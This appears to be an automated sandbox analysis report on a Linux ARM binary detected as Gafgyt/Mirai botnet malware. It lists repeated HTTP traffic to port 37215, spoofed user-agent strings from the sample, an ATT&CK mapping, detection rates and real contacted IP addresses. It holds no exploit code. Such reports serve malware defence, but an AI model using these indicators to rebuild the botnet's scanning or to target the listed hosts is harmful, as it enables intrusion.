Source: unknown	Network traffic detected: HTTP traffic on port 34228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56526 -> 37215

Source: /tmp/vcimanagement.armv7l.elf (PID: 5429)

Queries kernel information via 'uname':

Jump to behavior

Source: vcimanagement.armv7l.elf, 5429.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5431.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5435.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5451.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5436.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/vcimanagement.armv7l.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vcimanagement.armv7l.elf
Source: vcimanagement.armv7l.elf, 5429.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5431.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5435.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5451.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5436.1.0000558360216000.0000558360365000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: vcimanagement.armv7l.elf, 5429.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5431.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5435.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5451.1.0000558360216000.0000558360365000.rw-.sdmp, vcimanagement.armv7l.elf, 5436.1.0000558360216000.0000558360365000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: vcimanagement.armv7l.elf, 5429.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5431.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5435.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5451.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp, vcimanagement.armv7l.elf, 5436.1.00007ffea0b92000.00007ffea0bb3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: vcimanagement.armv7l.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: vcimanagement.armv7l.elf, type: SAMPLE
Source: Yara match	File source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5429, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5431, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5451, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Source: Initial sample	User agent string found: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: Initial sample	User agent string found: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Source: Initial sample	User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: vcimanagement.armv7l.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: vcimanagement.armv7l.elf, type: SAMPLE
Source: Yara match	File source: 5429.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5451.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5431.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5435.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5436.1.00007f9088017000.00007f9088035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5429, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5431, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vcimanagement.armv7l.elf PID: 5451, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vcimanagement.armv7l.elf	65%	Virustotal		Browse
vcimanagement.armv7l.elf	66%	ReversingLabs	Linux.Backdoor.Gafgyt
vcimanagement.armv7l.elf	100%	Avira	LINUX/Gafgyt.opnd

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	vcimanagement.armv7l.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	vcimanagement.armv7l.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.204.96.48	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.47.89.41	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.239.231.16	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.18.227.143	unknown	France	1945	FR-LYRESLyonRechercheetEnseignementSuperieurLyRESE	false
156.125.186.3	unknown	United States	393504	XNSTGCA	false
156.20.120.28	unknown	United States	29975	VODACOM-ZA	false
197.179.217.60	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.163.98.181	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.88.158.163	unknown	United States	10695	WAL-MARTUS	false
197.109.171.34	unknown	South Africa	37168	CELL-CZA	false
41.53.33.207	unknown	South Africa	37168	CELL-CZA	false
156.25.252.247	unknown	Switzerland	25021	CIEF-ASEtatdeFribourgSITelCH	false
197.217.101.147	unknown	Angola	11259	ANGOLATELECOMAO	false
197.10.150.17	unknown	Tunisia	5438	ATI-TN	false
41.203.52.73	unknown	South Africa	36968	ECN-AS1ZA	false
41.107.234.212	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.206.4.154	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.59.171.5	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.211.114.15	unknown	Malawi	37187	SKYBANDMW	false
156.112.149.205	unknown	United States	27065	DNIC-ASBLK-27032-27159US	false
156.253.103.137	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
41.226.155.20	unknown	Tunisia	37705	TOPNETTN	false
156.158.98.128	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.240.254.45	unknown	unknown	37705	TOPNETTN	false
197.123.124.97	unknown	Egypt	36992	ETISALAT-MISREG	false
197.246.117.187	unknown	Egypt	20928	NOOR-ASEG	false
197.89.196.14	unknown	South Africa	10474	OPTINETZA	false
41.224.35.102	unknown	Tunisia	37492	ORANGE-TN	true
197.116.135.67	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.164.16.6	unknown	Egypt	36992	ETISALAT-MISREG	false
